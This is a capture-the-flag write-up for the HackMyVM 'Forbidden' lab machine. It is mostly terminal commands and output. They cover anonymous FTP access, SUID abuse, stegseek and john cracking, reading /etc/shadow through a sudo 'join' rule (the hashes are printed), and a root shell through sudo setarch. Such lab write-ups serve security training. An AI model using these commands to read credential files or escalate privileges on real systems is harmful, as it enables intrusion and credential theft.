HMV Forbidden

• Name: Forbidden
• Difficulty: Medium
• OS: Linux
• IP: Local VM

• There're lots of extensions for a regular PHP file, like (php,php3-5,phtml,pht,phs,etc).
• Sometimes the answer lies right in plain sight, try the most straightforward approach first.

From the detail scan I know that FTP anonymous login is enabled. Then I discover the web root directory leaks there.

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ ftp [email protected]
Connected to 192.168.1.32.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 0        113          4096 Oct 09  2020 .
drwxr-xr-x    3 0        113          4096 Oct 09  2020 ..
drwxrwxrwx    2 0        0            4096 Oct 09  2020 www
226 Directory send OK.
ftp> cd www
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 0        0            4096 Oct 09  2020 .
drwxr-xr-x    3 0        113          4096 Oct 09  2020 ..
-rwxrwxrwx    1 0        0             241 Oct 09  2020 index.html
-rwxrwxrwx    1 0        0              75 Oct 09  2020 note.txt
-rwxrwxrwx    1 0        0              10 Oct 09  2020 robots.txt
226 Directory send OK.

www-data@forbidden:/$ uname -a
uname -a
Linux forbidden 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
www-data@forbidden:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@forbidden:/$ crontab -l
crontab -l
no crontab for www-data
www-data@forbidden:/$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:0b:92:30 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.32/24 brd 192.168.1.255 scope global dynamic enp0s3
       valid_lft 85220sec preferred_lft 85220sec
    inet6 2409:8a6c:616:230:a00:27ff:fe0b:9230/64 scope global dynamic mngtmpaddr
       valid_lft 86314sec preferred_lft 86314sec
    inet6 fe80::a00:27ff:fe0b:9230/64 scope link
       valid_lft forever preferred_lft forever
www-data@forbidden:/$ ss -tnlup
ss -tnlup
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port                                                                   
udp     UNCONN   0        0                0.0.0.0:68            0.0.0.0:*                                                                      
tcp     LISTEN   0        128              0.0.0.0:80            0.0.0.0:*       users:(("nginx",pid=398,fd=6))                                 
tcp     LISTEN   0        128                 [::]:80               [::]:*       users:(("nginx",pid=398,fd=7))                                 
tcp     LISTEN   0        32                     *:21                  *:*                                                                      
www-data@forbidden:/$ find / -mount -perm -u=s 2>/dev/null
find / -mount -perm -u=s 2>/dev/null
/home/marta/.forbidden
/usr/bin/mount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

The SUID hidden file which called .forbidden catches my eyes first. I analysis it with IDA, it does following thing.

int main() {
    setuid(1001);
    setgid(1001);
    system("/bin/bash");
    return 0;
}

Yeah, I can privot to user 1001 (markos).

There're no more interesting things I can get from user markos after take a close look at his home. Then I remember that user marta hint me his password is stored with a jpg file.

markos@forbidden:/home/marta$ find / -type f -name '*.jpg' 2>/dev/null
/var/www/html/TOPSECRETIMAGE.jpg

First I strings with it to take a look at strings of that file.

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ strings -n 7 TOPSECRETIMAGE.jpg
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#,#bH8<rA
,I,*)]bV
|]}ume}}g!
X7\j>/x
P]z->-N5
}Vm2Tk[
VA.Qcla
}KM];XBd
J[iZsKw
rp=8AEX
Z"Y]I$k
;^[_E<v
JV[EeT{h
[;3Ge$p
Gfs21%C
@7r2pAV
?.08<T2
Y5}S\7Z|
Wi,p#7P
umn.>Xarm
=YZ9n5[

The exiftool also give nothing clues, then I wonder if there might be steganography?

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ stegseek TOPSECRETIMAGE.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "portugal"
[i] Original filename: "pass.zip".
[i] Extracting to "TOPSECRETIMAGE.jpg.out".

But the pass.zip also need a password to extract. I crack it with john and get the password secret.

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Note: Passwords longer than 21 [worst case UTF-8] to 63 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
secret           (TOPSECRETIMAGE.jpg.out/pass.txt)
1g 0:00:00:00 DONE (2026-03-10 15:13) 100.0g/s 3276Kp/s 3276Kc/s 3276KC/s 123456..dyesebel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Unfortunately, none of these passwords are correct for marta. Then I noticed that filename of this image seems somewhat suggestive. Then I successfully login with that password!

markos@forbidden:/home/marta$ su - marta
su - marta
Password: TOPSECRETIMAGE

I find a interesting sudo rule there.

marta@forbidden:~$ sudo -l
Matching Defaults entries for marta on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User marta may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/join

And the GTFBins says it allow me to read arbitrary files. Here I can read out the root.txt directly. but I want to get a interactive root shell instead. So I try root's ssh key and /etc/shadow. The former doesn't exist! So I get some hash of users.

marta@forbidden:~$ sudo join -a 2 /dev/null /etc/shadow
root:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7:::
daemon:*:18544:0:99999:7:::
bin:*:18544:0:99999:7:::
sys:*:18544:0:99999:7:::
sync:*:18544:0:99999:7:::
games:*:18544:0:99999:7:::
man:*:18544:0:99999:7:::
lp:*:18544:0:99999:7:::
mail:*:18544:0:99999:7:::
news:*:18544:0:99999:7:::
uucp:*:18544:0:99999:7:::
proxy:*:18544:0:99999:7:::
www-data:*:18544:0:99999:7:::
backup:*:18544:0:99999:7:::
list:*:18544:0:99999:7:::
irc:*:18544:0:99999:7:::
gnats:*:18544:0:99999:7:::
nobody:*:18544:0:99999:7:::
_apt:*:18544:0:99999:7:::
systemd-timesync:*:18544:0:99999:7:::
systemd-network:*:18544:0:99999:7:::
systemd-resolve:*:18544:0:99999:7:::
messagebus:*:18544:0:99999:7:::
marta:$6$h.4ZF5esZ/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y/UBl0eks1.Wrd51BqLK8Wqt91WXg0Y2mrdNY4luPQkqUWXFXWxLVwe/:18544:0:99999:7:::
systemd-coredump:!!:18544::::::
ftp:*:18544:0:99999:7:::
sshd:*:18544:0:99999:7:::
markos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w/x.Xvhdr7Ny/4JgLDRLRAxAwEwGtH2kD7PjzeloAstqCPq/KKrqrPioMM8vwWbqZ.:18544:0:99999:7:::
peter:$6$QAeWH9Et9PAJdYz/$/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:::

Boom! I get the password of peter with join quickly!

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ john --wordlist=/usr/share/wordlists/rockyou.txt shadow_hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Note: Passwords longer than 26 [worst case UTF-8] to 79 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
boomer           (peter)
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

There is also a sudo rule for exploiting.

peter@forbidden:~$ sudo -l
Matching Defaults entries for peter on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/setarch

Follow the LOTL of setarch will get a root shell!

peter@forbidden:~$ sudo setarch -3 /bin/bash
sudo setarch -3 /bin/bash
root@forbidden:/home/peter# id
id
uid=0(root) gid=0(root) groups=0(root)